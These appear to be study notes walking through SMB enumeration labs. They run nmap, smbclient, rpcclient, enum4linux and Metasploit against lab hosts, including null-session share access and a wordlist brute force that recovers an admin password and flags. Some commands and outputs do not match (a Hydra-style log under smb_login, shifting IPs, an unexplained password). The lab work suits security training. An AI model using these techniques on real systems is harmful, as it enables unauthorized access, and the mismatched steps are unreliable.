SMB (Server Message Block) - a network file and resource sharing protocol, based on a client-server model.
There are many variants of the SMB protocol like SMBv1, CIFS, SMBv2, SMBv2.1, SMBv3, and so on.
e.g. Windows mapping and sharing drives as letter, uses SMB
Usually SMB can be found on ports 139 or 445 and nmap service and scripts enumeration (-sV, -sC) can find more info about the O.S. version.
After finding SMB through port scanning, gather more information with nmap.
sudo nmap -p445 -sV -sC -O <TARGET_IP>
Lab 1
🔬
Target IP: 10.2.24.25
Enumeration of SMB protocol dialects, security level information, active sessions, Windows users and shares, domains, services.
ping 10.2.24.25
nmap 10.2.24.25
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49167/tcp open unknown
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
nmap -p445 --script smb-enum-sessions 10.2.24.25
# nmap logged in as the "guest" account
Host script results:
| smb-enum-sessions:
| Users logged in
|_ WIN-OMCNBKR66MN\bob since <unknown>
# bob is logged in without any credentials, since the "guest login" is enabled
Use the provided user and password to enumerate the same login sessions
Host script results:
| smb-enum-sessions:
| Users logged in
| WIN-OMCNBKR66MN\bob since 2023-02-13T20:37:26
| Active SMB sessions
|_ ADMINISTRATOR is connected from \\10.10.24.4 for [just logged in, it's probably you], idle for [not idle]
nmap -p445 --script smb-enum-shares 10.2.24.25
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.2.24.25\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access: <none>
| Current user access: <none>
| \\10.2.24.25\C:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
| Current user access: READ
| \\10.2.24.25\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\10.2.24.25\D$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\10.2.24.25\Documents:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
| Current user access: READ
| \\10.2.24.25\Downloads:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
| Current user access: READ
| \\10.2.24.25\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: <none>
| Current user access: READ/WRITE
| \\10.2.24.25\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Anonymous access: <none>
|_ Current user access: READ
Enumerate SMB shares with an authenticated user (administrator account)
Host script results:
| smb-enum-users:
| WIN-OMCNBKR66MN\Administrator (RID: 500)
| Description: Built-in account for administering the computer/domain
| Flags: Password does not expire, Normal user account
| WIN-OMCNBKR66MN\bob (RID: 1010)
| Flags: Password does not expire, Normal user account
| WIN-OMCNBKR66MN\Guest (RID: 501)
| Description: Built-in account for guest access to the computer/domain
|_ Flags: Password does not expire, Password not required, Normal user account
📌 Three users are present with some dangerous flags and misconfigurations.
Guest user - no password expiration, password not required, normal user account
Host script results:
| smb-enum-shares:
| account_used: administrator
| \\10.2.24.25\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Users: 0
| Max Users: <unlimited>
| Path: C:\Windows
| Anonymous access: <none>
| Current user access: READ/WRITE
[...]
| \\10.2.24.25\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\Windows\system32\spool\drivers
| Anonymous access: <none>
|_ Current user access: READ/WRITE
| smb-ls: Volume \\10.2.24.25\ADMIN$
| maxfiles limit reached (10)
| SIZE TIME FILENAME
| <DIR> 2013-08-22T13:36:16 .
| <DIR> 2013-08-22T13:36:16 ..
| <DIR> 2013-08-22T15:39:31 ADFS
| <DIR> 2013-08-22T15:39:31 ADFS\ar
| <DIR> 2013-08-22T15:39:31 ADFS\bg
| <DIR> 2013-08-22T15:39:31 ADFS\cs
| <DIR> 2013-08-22T15:39:31 ADFS\da
| <DIR> 2013-08-22T15:39:31 ADFS\de
| <DIR> 2013-08-22T15:39:31 ADFS\el
| <DIR> 2013-08-22T15:39:31 ADFS\en
|
|
| Volume \\10.2.24.25\C
| maxfiles limit reached (10)
| SIZE TIME FILENAME
| <DIR> 2013-08-22T15:39:30 PerfLogs
| <DIR> 2013-08-22T13:36:16 Program Files
| <DIR> 2014-05-17T10:36:57 Program Files\Amazon
| <DIR> 2013-08-22T13:36:16 Program Files\Common Files
| <DIR> 2014-10-15T05:58:49 Program Files\DIFX
| <DIR> 2013-08-22T15:39:31 Program Files\Internet Explorer
| <DIR> 2014-07-10T18:40:15 Program Files\Update Services
| <DIR> 2020-08-12T04:13:47 Program Files\Windows Mail
| <DIR> 2013-08-22T15:39:31 Program Files\Windows NT
| <DIR> 2013-08-22T15:39:31 Program Files\WindowsPowerShell
|
|
| Volume \\10.2.24.25\C$
| maxfiles limit reached (10)
| SIZE TIME FILENAME
| <DIR> 2013-08-22T15:39:30 PerfLogs
| <DIR> 2013-08-22T13:36:16 Program Files
| <DIR> 2014-05-17T10:36:57 Program Files\Amazon
| <DIR> 2013-08-22T13:36:16 Program Files\Common Files
| <DIR> 2014-10-15T05:58:49 Program Files\DIFX
| <DIR> 2013-08-22T15:39:31 Program Files\Internet Explorer
| <DIR> 2014-07-10T18:40:15 Program Files\Update Services
| <DIR> 2020-08-12T04:13:47 Program Files\Windows Mail
| <DIR> 2013-08-22T15:39:31 Program Files\Windows NT
| <DIR> 2013-08-22T15:39:31 Program Files\WindowsPowerShell
|
|
| Volume \\10.2.24.25\Documents
| SIZE TIME FILENAME
| <DIR> 2020-09-10T09:50:27 .
| <DIR> 2020-09-10T09:50:27 ..
|
|
| Volume \\10.2.24.25\Downloads
| SIZE TIME FILENAME
| <DIR> 2020-09-10T09:50:27 .
| <DIR> 2020-09-10T09:50:27 ..
|
|
| Volume \\10.2.24.25\print$
| maxfiles limit reached (10)
| SIZE TIME FILENAME
| <DIR> 2013-08-22T15:39:31 .
| <DIR> 2013-08-22T15:39:31 ..
| <DIR> 2013-08-22T15:39:31 color
| 1058 2013-08-22T06:54:44 color\D50.camp
| 1079 2013-08-22T06:54:44 color\D65.camp
| 797 2013-08-22T06:54:44 color\Graphics.gmmp
| 838 2013-08-22T06:54:44 color\MediaSim.gmmp
| 786 2013-08-22T06:54:44 color\Photo.gmmp
| 822 2013-08-22T06:54:44 color\Proofing.gmmp
| 218103 2013-08-22T06:54:44 color\RSWOP.icm
|_
Lab 2
Target IP: 10.2.21.233
ping 10.2.21.233
nmap 10.2.21.233
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49165/tcp open unknown
[+] Guest session IP: 10.2.21.233:445 Name: 10.2.21.233
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C NO ACCESS
C$ NO ACCESS Default share
D$ NO ACCESS Default share
Documents NO ACCESS
Downloads NO ACCESS
IPC$ READ ONLY Remote IPC
print$ READ ONLY Printer Drivers
Login with administrator and enumerate with smbmap
nmap 192.28.157.3
139/tcp open netbios-ssn
445/tcp open microsoft-ds
# Service is not specific
nmap -sV -p 139,445 192.28.157.3
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: RECONLABS)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: RECONLABS)
MAC Address: 02:42:C0:1C:9D:03 (Unknown)
Service Info: Host: SAMBA-RECON
# Enumeration of the 139, 445 ports services
📌 Default smbd TCP used ports are 139, 445. Workgroup name of samba server is RECONLABS.
nmap -sU --top-ports 25 --open 192.28.157.3
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
📌 Version of samba server is Samba 4.3.11-Ubuntu. NetBIOS computer name is SAMBA-RECON.
msfconsole
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.28.157.3
RHOSTS => 192.28.157.3
exploit
[*] 192.28.157.3:445 - Host could not be identified: Windows 6.1 (Samba 4.3.11-Ubuntu)
[*] 192.28.157.3:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
nmblookup
nmblookup - NetBIOS over TCP/IP client used to lookup NetBIOS names
nmblookup -A 192.28.157.3
Looking up status of 192.28.157.3
SAMBA-RECON <00> - H <ACTIVE>
SAMBA-RECON <03> - H <ACTIVE>
SAMBA-RECON <20> - H <ACTIVE>
..__MSBROWSE__. <01> - <GROUP> H <ACTIVE>
RECONLABS <00> - <GROUP> H <ACTIVE>
RECONLABS <1d> - H <ACTIVE>
RECONLABS <1e> - <GROUP> H <ACTIVE>
MAC Address = 00-00-00-00-00-00
smbclient - ftp-like client to access SMB/CIFS resources on servers
smbclient -L 192.28.157.3 -N
# -L = list available services
# -N = no password prompt
Sharename Type Comment
--------- ---- -------
public Disk
john Disk
aisha Disk
emma Disk
everyone Disk
IPC$ IPC IPC Service (samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
RECONLABS SAMBA-RECON
rpcclient - tool for executing client side MS-RPC functions
rpcclient -U "" -N 192.28.157.3
Reveal Flag - The NetBIOS computer name is: 🚩
SAMBA-RECON
Lab 4
Target IP: 192.230.128.3
Linux SMB enumeration
ip -br -c a
eth1@if108147 UP 192.230.128.2/24
Target IP is 192.230.128.3
nmap 192.230.128.3
139/tcp open netbios-ssn
445/tcp open microsoft-ds
rpcclient -U "" -N 192.230.128.3
rpcclient $> srvinfo
SAMBA-RECON Wk Sv PrQ Unx NT SNT samba.recon.lab
platform_id : 500
os version : 6.1
server type : 0x809a03
📌 OS Version of samba server is 6.1.
enum4linux - tool for enumerating data from Windows and Samba hosts
enum4linux -o 192.230.128.3
==========================
| Target Information |
==========================
Target ........... 192.230.128.3
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
| Enumerating Workgroup/Domain on 192.230.128.3 |
=====================================================
[+] Got domain/workgroup name: RECONLABS
======================================
| Session Check on 192.230.128.3 |
======================================
[+] Server 192.230.128.3 allows sessions using username '', password ''
============================================
| Getting domain SID for 192.230.128.3 |
============================================
Domain Name: RECONLABS
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=======================================
| OS information on 192.230.128.3 |
=======================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.230.128.3 from smbclient:
[+] Got OS info for 192.230.128.3 from srvinfo:
SAMBA-RECON Wk Sv PrQ Unx NT SNT samba.recon.lab
platform_id : 500
os version : 6.1
server type : 0x809a03
Find samba server description
smbclient -L 192.230.128.3 -N
Sharename Type Comment
--------- ---- -------
public Disk
john Disk
aisha Disk
emma Disk
everyone Disk
IPC$ IPC IPC Service (samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
RECONLABS SAMBA-RECON
Host script results:
| smb-enum-users:
| SAMBA-RECON\admin (RID: 1005)
| Full name:
| Description:
| Flags: Normal user account
| SAMBA-RECON\aisha (RID: 1004)
| Full name:
| Description:
| Flags: Normal user account
| SAMBA-RECON\elie (RID: 1002)
| Full name:
| Description:
| Flags: Normal user account
| SAMBA-RECON\emma (RID: 1003)
| Full name:
| Description:
| Flags: Normal user account
| SAMBA-RECON\john (RID: 1000)
| Full name:
| Description:
| Flags: Normal user account
| SAMBA-RECON\shawn (RID: 1001)
| Full name:
| Description:
|_ Flags: Normal user account
enum4linux -U 192.230.128.3
==========================
| Target Information |
==========================
Target ........... 192.230.128.3
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
| Enumerating Workgroup/Domain on 192.230.128.3 |
=====================================================
[+] Got domain/workgroup name: RECONLABS
======================================
| Session Check on 192.230.128.3 |
======================================
[+] Server 192.230.128.3 allows sessions using username '', password ''
============================================
| Getting domain SID for 192.230.128.3 |
============================================
Domain Name: RECONLABS
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
==============================
| Users on 192.230.128.3 |
==============================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: john Name: Desc:
index: 0x2 RID: 0x3ea acb: 0x00000010 Account: elie Name: Desc:
index: 0x3 RID: 0x3ec acb: 0x00000010 Account: aisha Name: Desc:
index: 0x4 RID: 0x3e9 acb: 0x00000010 Account: shawn Name: Desc:
index: 0x5 RID: 0x3eb acb: 0x00000010 Account: emma Name: Desc:
index: 0x6 RID: 0x3ed acb: 0x00000010 Account: admin Name: Desc:
user:[john] rid:[0x3e8]
user:[elie] rid:[0x3ea]
user:[aisha] rid:[0x3ec]
user:[shawn] rid:[0x3e9]
user:[emma] rid:[0x3eb]
user:[admin] rid:[0x3ed]
=========================================
| Share Enumeration on 192.187.39.3 |
=========================================
Sharename Type Comment
--------- ---- -------
public Disk
john Disk
aisha Disk
emma Disk
everyone Disk
IPC$ IPC IPC Service (samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
RECONLABS SAMBA-RECON
[+] Attempting to map shares on 192.187.39.3
//192.187.39.3/public Mapping: OK, Listing: OK
//192.187.39.3/john Mapping: DENIED, Listing: N/A
//192.187.39.3/aisha Mapping: DENIED, Listing: N/A
//192.187.39.3/emma Mapping: DENIED, Listing: N/A
//192.187.39.3/everyone Mapping: DENIED, Listing: N/A
//192.187.39.3/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
smbclient -L 192.187.39.3 -N
Sharename Type Comment
--------- ---- -------
public Disk
john Disk
aisha Disk
emma Disk
everyone Disk
IPC$ IPC IPC Service (samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
RECONLABS SAMBA-RECON
Find domain groups on the samba server
enum4linux -G 192.187.39.3
==============================
| Groups on 192.187.39.3 |
==============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
group:[Testing] rid:[0x3f0]
[+] Getting local group memberships:
[+] Getting domain groups:
group:[Maintainer] rid:[0x3ee]
group:[Reserved] rid:[0x3ef]
[+] Getting domain group memberships:
enum4linux complete on Tue Feb 14 22:13:33 2023
📌 Available domain groups are Maintainer, Reserved
Check if samba server is configured for printing
enum4linux -i 192.187.39.3
=============================================
| Getting printer info for 192.187.39.3 |
=============================================
No printers returned.
📌 No printers returned.
smbclient //192.187.39.3/public -N
smb: \> ls
. D 0 Tue Feb 14 21:58:47 2023
.. D 0 Tue Nov 27 13:36:13 2018
secret D 0 Tue Nov 27 13:36:13 2018
dev D 0 Tue Nov 27 13:36:13 2018
# ls command
📌 There are 2 directories present inside public share: secret and dev
smb: \> cd secret
smb: \secret\> ls
. D 0 Tue Nov 27 13:36:13 2018
.. D 0 Tue Feb 14 21:58:47 2023
flag N 33 Tue Nov 27 13:36:13 2018
1981084628 blocks of size 1024. 39614508 blocks available
smb: \secret\> get flag
getting file \secret\flag of size 33 as flag (32.2 KiloBytes/sec) (average 32.2 KiloBytes/sec)
smb: \secret\> exit
root@attackdefense:~# cat flag
Reveal Flag: 🚩
03ddb97933e716f5057a18632badb3b4
Lab 6
Target IP: 192.174.58.3
Linux SMB detailed enumeration using word lists
Word lists are lists of already known and used passwords, some of them leaked from breached websites or other services. Those passwords can be used as part of the attack via brute force tools.
gzip -d /usr/share/wordlists/rockyou.txt.gz
# Unzip rockyou.txt list
ip -br -c a
eth1@if108489 UP 192.174.58.2/24
Target IP is 192.174.58.3
nmap 192.174.58.3
139/tcp open netbios-ssn
445/tcp open microsoft-ds
msfconsole
use auxiliary/scanner/smb/smb_login
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set SMBUser jane
set RHOSTS 192.174.58.3
exploit
[DATA] max 1 task per 1 server, overall 1 task, 14344399 login tries (l:1/p:14344399), ~14344399 tries per task
[DATA] attacking smb://192.174.58.3:445/
[445][smb] host: 192.174.58.3 login: admin password: password1
1 of 1 target successfully completed, 1 valid password found
📌 admin's password is password1
Find smb shares using found credentials
smbmap -u admin -p password1 -H 192.174.58.3
[+] Finding open SMB ports....
[+] User SMB session establishd on 192.174.58.3...
[+] IP: 192.174.58.3:445 Name: target-1
Disk Permissions
---- -----------
shawn READ, WRITE
nancy READ ONLY
admin READ, WRITE
IPC$ NO ACCESS
📌 Read-only share is nancy
smbclient -L 192.28.157.3 -U jane
# Use "abc123" password
smbclient //192.174.58.3/jane -U jane
smb: \> ls
. D 0 Tue Nov 27 19:25:12 2018
.. D 0 Tue Nov 27 19:25:12 2018
admin D 0 Tue Nov 27 19:25:12 2018
logs D 0 Tue Nov 27 19:25:12 2018
flag D 0 Tue Nov 27 19:25:12 2018
1981084628 blocks of size 1024. 48016456 blocks available
smb: \> pwd
Current directory is \\192.174.58.3\jane\
📌 jane's share is not browsable but it exists.
smbclient //192.174.58.3/admin -U admin
# Use "password1" password
smb: \> ls
smb: \> cd hidden
smb: \hidden\> ls
smb: \hidden\> get flag.tar.gz
smb: \hidden\> exit
root@attackdefense:~# tar -xf flag.tar.gz
root@attackdefense:~# cat flag
smb: \> cd secret
smb: \secret\> ls
. D 0 Tue Nov 27 13:36:13 2018
.. D 0 Tue Feb 14 21:58:47 2023
flag N 33 Tue Nov 27 13:36:13 2018
1981084628 blocks of size 1024. 39614508 blocks available
smb: \secret\> get flag
getting file \secret\flag of size 33 as flag (32.2 KiloBytes/sec) (average 32.2 KiloBytes/sec)
smb: \secret\> exit
root@attackdefense:~# cat flag
Reveal Flag: 🚩
2727069bc058053bd561ce372721c92e
msfconsole
use auxiliary/scanner/smb/pipe_auditor
set SMBUser admin
set SMBPass password1
set RHOSTS 192.174.58.3
exploit